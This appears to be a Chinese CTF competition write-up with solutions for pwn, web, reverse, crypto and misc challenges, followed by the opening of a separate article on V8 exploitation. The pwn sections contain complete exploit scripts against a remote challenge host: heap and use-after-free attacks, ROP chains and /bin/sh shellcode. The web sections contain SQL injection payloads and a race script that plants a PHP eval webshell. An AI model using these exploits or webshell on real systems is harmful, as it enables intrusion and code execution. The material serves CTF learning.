#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
p = remote("124.71.227.203", 26219)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data))#in case that data is an int
sa= lambda delim,data :p.sendafter(str(delim), str(data))
sl= lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096:p.recv(numb)
ru= lambda delims, drop=True :p.recvuntil(delims, drop)
it= lambda:p.interactive()
uu32= lambda data :u32(data.ljust(4, '\0'))
uu64= lambda data :u64(data.ljust(8, '\0'))
bp= lambda bkp:pdbg.bp(bkp)
li= lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def a_read(idx,con='\n'):
sla("Your choice: ",'1')
sla("Index: ",str(idx))
sla('Content:',con)
def a_write(idx):
sla("Your choice: ",'2')
sla("Index: ",str(idx))
def exp():
a_write(0)
a_write(0x100)
# a_read(1)
a_write(0x100)
# s(1)
# a_read(str(0xfffffffc)
sla("Your choice: ",'1')
sa("Index: ",p64(0xffffffffffffffe0/8))
# a_write(2)
ru("Result: ")
data = int(r(12),16)
lg('data',data)
addr = data - 0x7f7d41c07680 + 0x7f7d4181b000
lg('addr',addr)
sla("Your choice: ",'1')
sa("Index: ",p64(0xffffffffffffffa8/8))
ru("Result: ")
data = int(r(12),16)
bss = data - 8
lg('bss',bss)
str_jmp = addr - 0x7fb8da338000 + 0x7fb8da720360
og = addr + 0x10a41c
#------------------------------------------------ mh = addr + libc.sym['__malloc_hook']
rh = addr + libc.sym['realloc']
off = (mh - bss - 0x60)/8
off2 = (mh -bss - 0x60-8)/8
# debug([0xB4C,0xBF6])
a_write(off)
s(p64(rh+4))
lg('mh',mh)
a_write(off2)
s(p64(og))
lg('og',og)
sla("Your choice: ",'1'*0x500)
# dbg()
# s(p64(0x00000000fbad2887))
# data = addr + 0x00007f0db0da97e3 - 0x7f0db09bd000
# for i in range(1,8):
# a_write(i)
# s(p64(data))
# a_write(8)
# s(p64(data+1))
# data2 = 0x00007f4deee96a00 + addr - 0x7f4deeaab000
# data3 = 0x00007f4deee988c0 + addr - 0x7f4deeaab000
# data4 = 0x00007f4deee968c0 + addr - 0x7f4deeaab000
# for i in range(4):
# a_write(9+i)
# s(p64(0))
# a_write(13)
# s(p64(data2))
# a_write(14)
# s(p64(1))
# a_write(15)
# s(p64(0xffffffffffffffff))
# a_write(16)
# s(p64(0x000000000a000000))
# a_write(17)
# s(p64(data3))
# a_write(18)
# s(p64(0xffffffffffffffff))
# a_write(19)
# s(p64(0))
# a_write(20)
# s(p64(data4))
# a_write(21)
# s(p64(0))
# a_write(22)
# s(p64(0))
# a_write(23)
# s(p64(0))
# a_write(24)
# s(p64(0x00000000ffffffff))
# a_write(25)
# s(p64(0))
# a_write(26)
# s(p64(0))
# a_write(27)
# s(p64(str_jmp+8))
# #-------------------------- # a_write(0xffffffffffffffc0/8)
# s(p64(bss+0x60))
it()
if __name__ == '__main__':
exp()
# │0x7f4deee97760 <_IO_2_1_stdout_>: 0x00000000fbad28870x00007f4deee977e3
# │0x7f4deee97770 <_IO_2_1_stdout_+16>:0x00007f4deee977e30x00007f4deee977e3
# │0x7f4deee97780 <_IO_2_1_stdout_+32>:0x00007f4deee977e30x00007f4deee977e3
# │0x7f4deee97790 <_IO_2_1_stdout_+48>:0x00007f4deee977e30x00007f4deee977e3
# │0x7f4deee977a0 <_IO_2_1_stdout_+64>:0x00007f4deee977e40x0000000000000000
# │`│0x7f4deee977b0 <_IO_2_1_stdout_+80>:0x00000000000000000x0000000000000000
# ··│0x7f4deee977c0 <_IO_2_1_stdout_+96>:0x00000000000000000x00007f4deee96a00
# ·││0x7f4deee977d0 <_IO_2_1_stdout_+112>: 0x00000000000000010xffffffffffffffff
# cU│0x7f4deee977e0 <_IO_2_1_stdout_+128>: 0x000000000a0000000x00007f4deee988c0
# ··│0x7f4deee977f0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff0x0000000000000000
# │ │0x7f4deee97800 <_IO_2_1_stdout_+160>: 0x00007f4deee968c00x0000000000000000
# │0x7f4deee97810 <_IO_2_1_stdout_+176>: 0x00000000000000000x0000000000000000
# │0x7f4deee97820 <_IO_2_1_stdout_+192>: 0x00000000ffffffff0x0000000000000000
# 00│0x7f4deee97830 <_IO_2_1_stdout_+208>: 0x00000000000000000x00007f4deee932a0
### silverwolf
新版2.27 漏洞UAF
ORW
# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './silverwolf'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.27.so")
p = remote("124.71.227.203", 26158)
def debug(addr,PIE=True):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------- s = lambda data :p.send(str(data))#in case that data is an int
sa= lambda delim,data :p.sendafter(str(delim), str(data))
sl= lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda numb=4096:p.recv(numb)
ru= lambda delims, drop=True :p.recvuntil(delims, drop)
it= lambda:p.interactive()
uu32= lambda data :u32(data.ljust(4, '\0'))
uu64= lambda data :u64(data.ljust(8, '\0'))
bp= lambda bkp:pdbg.bp(bkp)
li= lambda str1,data1 :log.success(str1+'========>'+hex(data1))
def dbgc(addr):
gdb.attach(p,"b*" + hex(addr) +"\n c")
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
choice="Your choice: "
def add(size,c='a'): #
ru(choice)
sl('1')
ru("Index: ")
sl('0')
ru("Size: ")
sl(str(size))
def delete():
ru(choice)
sl('4')
ru("Index: ")
sl('0')
def edit(c):
ru(choice)
sl('2')
ru("Index: ")
sl('0')
ru("Content: " )
sl(c)
def show():
ru(choice)
sl('3')
ru("Index: ")
sl('0')
ru("Content: ")
def exp():
add(0x78)
delete()
# delete()
# edit('wi1laaaaa')
# delete()
show()
# ru("Content: ")
data = uu64(r(6))
heap = data - 0x260 - 0xf10
lg('heap',heap)
# #----------------------------- # sla(choice,'1'*0x500)
# add(0x50)
# for i in range(7):
# add(0x60)
# delete()
edit(p64(heap+0x10))
add(0x78)
add(0x78)
edit('\x07'*0x40)
delete()
show()
data = uu64(ru('\x7f',drop=False)[-6:])
lg('data',data)
addr = data -0x3ebca0
free_hook=addr+libc.sym['__free_hook']
sys_addr=addr+libc.sym['system']
sx = addr + libc.sym['setcontext']+53
lg('addr',addr)
fake = '\x01'+'\x01'*3
fake = fake.ljust(0x40,'\x01')
edit(fake+p64(free_hook)+p64(heap+0xdb0)+p64(heap+0xdf0)+p64(heap+0xe10)+p64(heap+0xe50)+p64(heap+0xf68)+p64(heap+0xf68))
#---------- ret = addr + 0x0000000000006388
pop_rdi = addr + 0x00000000000215bf
pop_rsi = addr + 0x0000000000023eea
pop_rdx = addr + 0x0000000000001b96
read_m = addr + libc.sym['read']
write_m = addr + libc.sym['write']
syscall = addr + 0x00000000000d2745
pop_rax = addr + 0x0000000000043ae8
add_ret = addr +0x000000000003efcd
open_m = addr + libc.sym['open']
# add(0x10)
# pay = 'a'*8+p64(sx)
# # pay = pay.ljust(0x)
# edit(pay)
# # delete()
# #--------- # for i in range(1):
# add(0x40)
# add(0x10)
add(0x10)
pay =p64(sx)
edit(pay)
add(0x50)
edit(p64(heap+0xe10)+p64(ret)+p64(pop_rdi))
rop = p64(pop_rdi)+p64(heap+0xdf0)+p64(pop_rsi)+p64(0)
# rop+= p64(open_m)
rop+= p64(pop_rax)+p64(2)+p64(syscall)
rop+= p64(add_ret)
# +p64(3)
# +p64(pop_rsi)+p64(heap+0x500)+p64(pop_rdx)+p64(0x20)+p64(read)
add(0x40)
edit(rop)
add(0x70)
rop2 = p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heap+0x500)+p64(pop_rdx)+p64(0x30)+p64(read_m)
rop2+= p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heap+0x500)+p64(pop_rdx)+p64(0x30)+p64(write_m)
edit(rop2)
add(0x30)
edit('./flag\x00')
add(0x20)
edit(p64(ret))
# add(0x40)
# dbg()
lg('sx',sx)
# debug([0xEA9])
delete()
it()
if __name__ == '__main__':
exp()
## web
### web1 easy_sql注入
payload
uname=admin&passwd=a')/**/and/**/updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b)c),0x7e),1)%23&Submit=%E7%99%BB%E5%BD%95
‘)闭合，然后 报错注入。猜测得到有一个表叫flag。发现过滤了information等系统库
根据<http://www.wupco.cn/?p=4117>
uname=admin&passwd=a')/**/and/**/updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b)c),0x7e),1)%23&Submit=%E7%99%BB%E5%BD%95
uname=admin&passwd=a')/**/and/**/updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id,no))c),0x7e),1)%23&Submit=%E7%99%BB%E5%BD%95
爆出列名1
uname=admin&passwd=a')/**/and/**/updatexml(1,concat(0x7e,(reverse(select `f30f48fe-6b1b-41e8-96eb-c297827bc695` from flag)),0x7e),1)%23&Submit=%E7%99%BB%E5%BD%95
然后substr切割一下 还有后半段
### web2 source
扫描后台 .index.swo
发现是原题<https://r0yanx.com/2020/10/28/fslh-writeup/>
直接上payload
/?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment
### web3 middle_source
扫描后台 /.listing
发现了 youcanseeeeeeee.php 是个phpinfo界面
然后读取到session的存储位置，写出脚本。
# coding=utf-8
import io
import requests
import threading
sessid = 'flag'
data = {"cmd": "var_dump(readfile('/etc'));"}
url = "靶机"
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
files={'file': ('tgao.txt', f)}, cookies={'PHPSESSID': sessid})
def read(session):
while True:
data["cf"] = "../../../../../var/lib/php/sessions/if/sess_flag"#phpinfo中的位置
resp = session.post(url,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
pass
if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()
很快就能找到位置 出flag
### web3 upload
一上来就是图片马的二次渲染绕过，然后结合example.php后面我们知道，这里还要一zip来配合使用，达到的目的就是解压后有shell。
然后我们不慌不忙的掏出我们的图片马 ，再把他打包成压缩包。 然后现在要绕过对于zip的绕过。上传解压马儿就可以了。
这里对于zip的绕过
<https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/>
图片马的最后记得加上
#define width 1
#define height 1
php-gd2的那个图片马即可，
上传 解压
就在example下面 然后flag
还得重新读一下。
## re
### glass
使用native层方法checkflag，先经过RC4，再经过另一个流加密，密钥都是12345678
还原第二个流加密：
#include <Windows.h>
#include <stdio.h>
void decode(BYTE* out, BYTE* key)
{
for (int i = 0;i < 39;i++)
out[i] ^= key[i % 8];
for (int i = 0; i < 39; i += 3)
{
BYTE v1 = out[i + 1] ^ out[i];
BYTE v2 = out[i + 2] ^ out[i + 1] ^ out[i];
BYTE v0 = out[i] ^ v2;
out[i] = v0;
out[i + 1] = v1;
out[i + 2] = v2;
}
}
void main()
{
BYTE key[] = "12345678";
BYTE cipher[39] = { 0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7, 0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F };
decode(cipher, key);
for (size_t i = 0; i < 39; i++)
printf("\\x%02X", cipher[i]);
}
再解密RC4：
from Crypto.Cipher import ARC4
key = b"12345678"
target = b"\xF8\xBA\x6A\x97\x47\xCA\xE8\x91\xC5\x07\x6E\xF7\x92\x0B\x39\x92\x14\xA8\xAF\x7E\xAA\x50\x45\x8D\x6D\x2D\xB6\x86\x6E\x9F\x86\x5E\xDF\xB3\x1E\x52\xA6\x62\x6A"
rc4 = ARC4.new(key)
print(rc4.decrypt(target).decode())
### baby_bc
llc先汇编成baby.s，再gcc静态链接成elf。
ida分析后得知在填写5*5的数独，对于行与行之间、列与列之间的大小关系分别由col与row数组规定，对于行来说，控制字节为1时a>b，控制字节为2时a<b；对于列来说，控制字节为1时a<b，控制字节为2时a>b。
最后的map填写出来应该是这样的：
1, 4, 2, 5, 3,
5, 3, 1, 4, 2,
3, 5, 4, 2, 1,
2, 1, 5, 3, 4,
4, 2, 3, 1, 5
原map给了两个值，输入的时候对应字节应该是0，得到输入序列1425353142350212150442315，md5得到flag
crypto
imageencrypt
先把testimage和加密后的直接异或可以得到key1和key2的值
反推出bins，然后截取还原出x数列
在0.1到3.0之间搜索r的值,发现1.2满足,然后反解x0
得到后续的x数列就可以还原图像了
import random
from hashlib import *
r=1.2
def generate(x):
return round(r*x*(3-x),6)
def encrypt(pixel,key1,key2,x0,m,n):
num = m*n//8
seqs = []
x = x0
bins = ''
tmp = []
for i in range(num):
x = generate(x)
tmp.append(x)
seqs.append(int(x*22000))
for x in seqs:
bin_x = bin(x)[2:]
if len(bin_x) < 16:
bin_x = '0'*(16-len(bin_x))+bin_x
bins += bin_x
assert(len(pixel) == m*n)
cipher = [ 0 for i in range(m) for j in range(n)]
for i in range(m):
for j in range(n):
index = n*i+j
ch = int(bins[2*index:2*index+2],2)
pix = pixel[index]
if ch == 0:
pix = (pix^key1)&0xff
if ch == 1:
pix = (~pix^key1)&0xff
if ch == 2:
pix = (pix^key2)&0xff
if ch == 3:
pix = (~pix^key2)&0xff
cipher[index] = pix
return cipher
k1=169
k2=78
x=2.159736
tmp=[]
bins=''
flag=[136, 62, 185, 178, 49, 197, 213, 2, 251, 5, 178, 24, 142, 87, 151, 2, 198, 218, 15, 151, 74, 80, 235, 156, 39, 95, 35, 98, 83, 221, 45, 106, 103, 2, 216, 120, 68, 182, 140, 224, 170, 154, 117, 191, 170, 103, 98, 118, 58, 46, 175, 128, 240, 52, 228, 101, 247, 177, 125, 39, 101, 154, 246, 39, 100, 251, 244, 23, 23, 71, 172, 145, 123, 174, 79, 243, 61, 143, 24, 25, 144, 118, 181, 126, 49, 237, 182, 20, 115, 42, 36, 80, 0, 21, 255, 191, 152, 172, 240, 174, 101, 91, 57, 62, 187, 207, 82, 46, 238, 234, 4, 164, 171, 142, 128, 132, 234, 26, 105, 153, 165, 30, 167, 76, 203, 232, 218, 82, 247, 214, 247, 15, 8, 156, 139, 27, 3, 180, 224, 252, 194, 158, 77, 178, 248, 136, 193, 247, 92, 55, 196, 189, 67, 35, 185, 48, 215, 179, 179, 225, 132, 148, 9, 138, 103, 227, 140, 61, 89, 217, 229, 99, 215, 63, 100, 133, 222, 139, 81, 15, 149, 236, 168, 7, 102, 176, 173, 240, 149, 70, 244, 23, 243, 248, 208, 6, 156, 241, 12, 62, 45, 49, 136, 168, 187, 217, 70, 142, 94, 227, 122, 92, 209, 177, 195, 217, 218, 105, 41, 157, 66, 119, 67, 31, 130, 120, 52, 32, 18, 49, 34, 17, 145, 170, 89, 38, 27, 102, 52, 42, 65, 161, 182, 114, 194, 205, 16, 53, 139, 167, 115, 92, 87, 210, 95, 44, 210, 63, 158, 223, 183, 161, 91, 36, 201, 53, 92, 222, 105, 246, 80, 94, 170, 10, 132, 110, 0, 151, 77, 91, 209, 110, 100, 206, 195, 88, 103, 183, 7, 98, 163, 42, 44, 115, 82, 184, 200, 122, 56, 188, 106, 159, 221, 166, 213, 81, 162, 64, 116, 213, 43, 32, 5, 223, 135, 182, 64, 54, 111, 218, 126, 75, 92, 205, 231, 15, 8, 66, 34, 52, 115, 246, 96, 227, 92, 211, 76, 204, 217, 20, 239, 144, 139, 90, 136, 142, 197, 83, 43, 96, 248, 76, 17, 70, 13, 49, 18, 69, 95, 31, 198, 181, 32, 119, 253, 42, 73, 70, 106, 29, 38, 20, 232, 108, 244, 219, 72, 144, 109, 146, 32, 250, 83, 99]
pixel=[198, 143, 247, 3, 152, 139, 131, 84, 181, 180, 252, 177, 192, 25, 217, 179, 136, 107, 190, 62, 4, 6, 90, 53, 105, 238, 117, 44, 5, 116, 132, 195, 214, 171, 113, 209, 18, 31, 194, 174, 228, 212, 196, 14, 27, 41, 211, 56, 139, 135, 225, 214, 89, 122, 178, 212, 185, 231, 204, 150, 204, 212, 160, 142, 213, 173, 186, 166, 65, 238, 5, 32, 45, 31, 25, 189, 148, 38, 78, 79, 33, 56, 227, 48, 103, 163, 31, 189, 37, 124, 106, 249, 86, 188, 86, 233, 41, 250, 89, 7, 212, 234, 111, 104, 245, 102, 227, 96, 160, 67, 181, 13, 26, 192, 214, 210, 188, 84, 216, 215, 243, 72, 233, 2, 122, 166, 107, 251, 70, 128, 94, 190, 185, 210, 34, 85, 77, 29, 182, 77, 115, 208, 228, 252, 73, 198, 151, 70, 10, 97, 138, 235, 21, 117, 239, 102, 129, 2, 253, 80, 53, 61, 184, 220, 41, 82, 37, 140, 23, 143, 179, 53, 153, 113, 213, 211, 111, 197, 248, 65, 60, 69, 1, 81, 48, 254, 251, 89, 195, 8, 93, 190, 66, 174, 97, 175, 210, 191, 66, 112, 123, 128, 33, 230, 237, 104, 16, 192, 239, 173, 44, 10, 120, 231, 114, 151, 140, 63, 103, 44, 243, 222, 242, 73, 51, 46, 98, 137, 163, 152, 147, 95, 223, 3, 15, 112, 85, 215, 133, 131, 240, 239, 224, 195, 140, 124, 70, 156, 221, 241, 37, 245, 1, 99, 9, 157, 99, 150, 47, 118, 225, 16, 13, 141, 135, 99, 18, 119, 63, 160, 6, 247, 27, 68, 45, 199, 86, 193, 252, 21, 135, 32, 42, 103, 114, 241, 49, 249, 182, 52, 18, 155, 157, 61, 4, 246, 158, 52, 118, 242, 195, 54, 139, 232, 100, 31, 11, 233, 58, 100, 101, 137, 83, 145, 209, 7, 241, 96, 57, 148, 207, 29, 237, 124, 177, 166, 161, 20, 116, 122, 61, 71, 46, 82, 18, 157, 253, 130, 112, 66, 94, 57, 221, 243, 222, 192, 147, 5, 130, 201, 174, 26, 160, 16, 188, 103, 187, 11, 238, 182, 144, 4, 137, 33, 84, 100, 7, 239, 219, 83, 112, 189, 166, 58, 93, 141, 30, 198, 220, 196, 118, 172, 5, 45]
data = ''.join(map(chr,flag))
print(md5.new(data).hexdigest())
print(encrypt(flag,k1,k2,x,24,16)==pixel)
for i in range(48):
x = generate(x)
tmp.append(int(x*22000))
for x in tmp:
bin_x = bin(x)[2:]
if len(bin_x) < 16:
bin_x = '0'*(16-len(bin_x))+bin_x
bins += bin_x
# print(bins)
pixel=[198, 143, 247, 3, 152, 139, 131, 84, 181, 180, 252, 177, 192, 25, 217, 179, 136, 107, 190, 62, 4, 6, 90, 53, 105, 238, 117, 44, 5, 116, 132, 195, 214, 171, 113, 209, 18, 31, 194, 174, 228, 212, 196, 14, 27, 41, 211, 56, 139, 135, 225, 214, 89, 122, 178, 212, 185, 231, 204, 150, 204, 212, 160, 142, 213, 173, 186, 166, 65, 238, 5, 32, 45, 31, 25, 189, 148, 38, 78, 79, 33, 56, 227, 48, 103, 163, 31, 189, 37, 124, 106, 249, 86, 188, 86, 233, 41, 250, 89, 7, 212, 234, 111, 104, 245, 102, 227, 96, 160, 67, 181, 13, 26, 192, 214, 210, 188, 84, 216, 215, 243, 72, 233, 2, 122, 166, 107, 251, 70, 128, 94, 190, 185, 210, 34, 85, 77, 29, 182, 77, 115, 208, 228, 252, 73, 198, 151, 70, 10, 97, 138, 235, 21, 117, 239, 102, 129, 2, 253, 80, 53, 61, 184, 220, 41, 82, 37, 140, 23, 143, 179, 53, 153, 113, 213, 211, 111, 197, 248, 65, 60, 69, 1, 81, 48, 254, 251, 89, 195, 8, 93, 190, 66, 174, 97, 175, 210, 191, 66, 112, 123, 128, 33, 230, 237, 104, 16, 192, 239, 173, 44, 10, 120, 231, 114, 151, 140, 63, 103, 44, 243, 222, 242, 73, 51, 46, 98, 137, 163, 152, 147, 95, 223, 3, 15, 112, 85, 215, 133, 131, 240, 239, 224, 195, 140, 124, 70, 156, 221, 241, 37, 245, 1, 99, 9, 157, 99, 150, 47, 118, 225, 16, 13, 141, 135, 99, 18, 119, 63, 160, 6, 247, 27, 68, 45, 199, 86, 193, 252, 21, 135, 32, 42, 103, 114, 241, 49, 249, 182, 52, 18, 155, 157, 61, 4, 246, 158, 52, 118, 242, 195, 54, 139, 232, 100, 31, 11, 233, 58, 100, 101, 137, 83, 145, 209, 7, 241, 96, 57, 148, 207, 29, 237, 124, 177, 166, 161, 20, 116, 122, 61, 71, 46, 82, 18, 157, 253, 130, 112, 66, 94, 57, 221, 243, 222, 192, 147, 5, 130, 201, 174, 26, 160, 16, 188, 103, 187, 11, 238, 182, 144, 4, 137, 33, 84, 100, 7, 239, 219, 83, 112, 189, 166, 58, 93, 141, 30, 198, 220, 196, 118, 172, 5, 45]
res=[]
for i in range(24):
for j in range(16):
index = 16*i+j
ch = int(bins[2*index:2*index+2],2)
pix = pixel[index]
if ch == 0:
pix = (pix^k1)&0xff
if ch == 1:
pix = ~(pix^k1)&0xff
if ch == 2:
pix = (pix^k2)&0xff
if ch == 3:
pix = ~(pix^k2)&0xff
res.append(pix)
print(res)
### homo
先是一个随机数预测,提交312个64比特即可预测
然后直接构造c0=[1,0,0,0….]
c1=[q//2,0,0,0,]
发给服务器即可解出sk,然后再本地对ctj进行解密即可
from pwn import*
from randcrack import RandCrack
sh=remote("124.71.238.180","22444")
sh.recvuntil("]")
sh.recvuntil("]")
sh.recvuntil("]")
sh.recvuntil("]")
print(sh.recv().decode())
sh.sendline("1")
m=[]
for i in range(312):
sh.recv()
sh.sendline("0")
sh.recvuntil("is ")
t=sh.recvuntil("\n",drop=True)
m.append(int(t,10)&(0xffffffff))
m.append(int(t,10)>>32)
rc = RandCrack()
for i in range(624):
rc.submit(m[i])
for i in range(200):
h=rc.predict_randrange(0, 4294967295)
l=rc.predict_randrange(0, 4294967295)
print(sh.recv().decode())
sh.sendline(str((l<<32)+(h)))
# print(sh.recvuntil("is ").decode(),end='')
# t=sh.recvuntil("\n",drop=True)
# print(t.decode())
# print("my answer is "+str((l<<32)+(h)))
sh.sendline("2")
print(sh.recv().decode())
a=["0"]*1023
a.append("1")
a=",".join(a)
sh.sendline(a)
print(sh.recv().decode())
sh.sendline(a)
print(sh.recvall().decode())
### rsa
第一关直接开3次方
第二关用扩展欧几里得
第三关用coppersmith解出p即可
# e,n=(3, 123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009)
# c1= 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
# c2= 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
# e,n=(17, 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977)
# (65537, 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977L)
# 59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646
# (65537, 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147L)
# 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
# print(iroot(c,3)[0])
# print(long_to_bytes(267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157))
b' \nO wild West Wind, thou breath of Autum'
b"n's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, a"
# print(30841*17-8*65537)
# print(long_to_bytes(pow(c1,30841,n)*invert(pow(c2,8,n),n)%n))
# print(long_to_bytes(978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882))
x=b' \nO wild West Wind, thou breath of Autum'+b"n's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, a"+b'nd black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n'
print(x)
## misc
### tiny traffic
wireshark导出所有http对象后得到test,secret,flag_wrapper，test是一个压缩文件：
解压得到一个文件：
syntax = "proto3";
message PBResponse {
int32 code = 1;
int64 flag_part_convert_to_hex_plz = 2;
message data {
string junk_data = 2;
string flag_part = 1;
}
repeated data dataList = 3;
int32 flag_part_plz_convert_to_hex = 4;
string flag_last_part = 5;
}
message PBRequest {
string cate_id = 1;
int32 page = 2;
int32 pageSize = 3;
}
到[https://protogen.marcgravell.com/编译得到py包。](https://protogen.marcgravell.com/%E7%BC%96%E8%AF%91%E5%BE%97%E5%88%B0py%E5%8C%85%E3%80%82)
再用brotli -d解压secret得到secret_unpack。脚本解析：
import pb2
with open("secret_unpack", "rb") as f:
data = f.read()
response = pb2.PBResponse()
response.ParseFromString(data)
print(response)
得到
code: 200
flag_part_convert_to_hex_plz: 15100450
dataList {
flag_part: "e2345"
junk_data: "7af2c"
}
dataList {
flag_part: "7889b0"
junk_data: "82bc0"
}
flag_part_plz_convert_to_hex: 16453958
flag_last_part: "d172a38dc"
即可拼凑出flag
### running pixel
用ps导出所有帧观察，发现每隔10帧像素人就会变黄。重新处理一下图像：
from PIL import *
for i in range(382):
image = Image.open("images/%d.jpg" % i).convert("RGB")
xs, ys = image.size
for x in range(xs):
for y in range(ys):
if image.getpixel((x, y)) == (233, 233, 233):
image.putpixel((y, x), 0)
image.save("new/%d.jpg" % i)
依据字符出现顺序拼接得到flag | 社区文章 |
**作者：Hcamael@知道创宇404实验室**
**相关阅读：[从 0 开始学 V8 漏洞利用之环境搭建（一）](https://paper.seebug.org/1820/ "从 0 开始学 V8
漏洞利用之环境搭建（一）")**
经过一段时间的研究，先进行一波总结，不过因为刚开始研究没多久，也许有一些局限性，以后如果发现了，再进行修正。
# 概述
我认为，在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目，大部分情况下，目标都是执行`system(/bin/sh)`或者`execve(/bin/sh,0,0)`。
在v8利用上，我觉得也有一个明确的目标，就是执行任意`shellcode`。当有了这个目标后，下一步就是思考，怎么写`shellcode`呢？那么就需要有写内存相关的洞，能写到可读可写可执行的内存段，最好是能任意地址写。配套的还需要有任意读，因为需要知道rwx内存段的地址。就算没有任意读，也需要有办法能把改地址泄漏出来（V8的binary保护基本是全开的）。接下来就是需要能控制RIP，能让RIP跳转到`shellcode`的内存段。
接下来将会根据该逻辑来反向总结一波v8的利用过程。
# 调试V8程序
在总结v8的利用之前，先简单说说v8的调试。
1.把该文件`v8/tools/gdbinit`，加入到`~/.gdbinit`中：
